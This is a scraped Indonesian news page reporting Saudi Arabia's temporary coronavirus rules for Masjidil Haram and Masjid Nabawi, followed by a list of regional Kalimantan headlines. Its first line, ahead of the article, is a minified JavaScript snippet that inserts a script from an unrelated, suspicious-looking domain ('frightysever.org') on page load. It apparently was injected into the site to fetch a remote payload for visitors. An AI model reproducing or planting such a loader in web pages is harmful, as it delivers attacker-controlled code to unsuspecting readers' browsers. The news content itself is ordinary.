(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
INTERNASIONAL

Antisipasi Corona, Ini Aturan Lengkap di Masjidil Haram dan Masjid Nabawi


KANALKALIMANTAN.COM, JAKARTA– Pemerintah Arab Saudi menutup sementara Masjidil Haram dan Masjid Nabawi. Langkah ini dilakukan untuk mencegah penyebaran virus corona. Selama penutupan, pemerintah Saudi hendak melakukan sterilisasi di dua area suci bagi umat muslim tersebut.

Dikutip dari Arab News, sterilisasi adalah upaya pencegahan sementara yang tidak disangka. Sama dengan larangan umroh, penutupan Masjidil Haram dan Masjid Nabawi akan dihapus setelah status infeksi virus corona menjadi lebih baik.

Berikut aturan penutupan sementara Masjidil Haram dan Masjid Nabawi:
1. Kedua area akan ditutup satu jam setelah shalat Isya dan dibuka satu jam sebelum waktu Shubuh
2. Dilarang itikaf dan tidur di Masjidil Haram dan Masjid Nabawi
3. Area untuk ibadah Sa’i yang dilakukan dengan berlari dari Bukit Safa dan Marwah ditutup, hingga larangan umroh dicabut
4. Dilarang membawa makanan dan minuman ke dalam area masjid
5. Akses menuju tempat minum air zam-zam ditutup sementara
6. Area Rawdah di Masjid Nabawi yang merupakan makam Nabi Muhammad SAW, Abu Bakar, dan Umar bin Khatab ditutup
7. Pemakaman Baqi ditutup hingga ada pengumuman lebih lanjut dari pemerintah Arab Saudi

Masjidil Haram dan Masjid Nabawi sebetulnya masih terbuka, namun dengan kondisi tertentu. Berikut penjelasannya:
1. Akses Masjidil Haram hanya untuk warga Makkah
2. Area untuk sholat lima waktu hanya tersedia di dalam Masjidil Haram di lantai atas
3. Rawdah hanya dibuka untuk sholat wajib dan ditutup di waktu lainnya.
(row/erd/detik.com)

Editor : Detik.com


Desy Arfianty

Recent Posts

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

2 jam ago

Instansi Vertikal Disiapkan Masuk SKPD Instansi Mengajar di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Pendidikan (Disdik) Kota Banjarbaru siap menggandeng instansi vertikal di Kota Banjarbaru,… Read More

3 jam ago

780 Anggota PPK se Kalsel Dilantik, Bertugas 8 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Seluruh Panitia Pemilihan Kecamatan (PPK) di Provinsi Kalimantan Selatan (Kalsel) resmi dilantik… Read More

3 jam ago

25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More

6 jam ago

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

18 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

19 jam ago

This website uses cookies.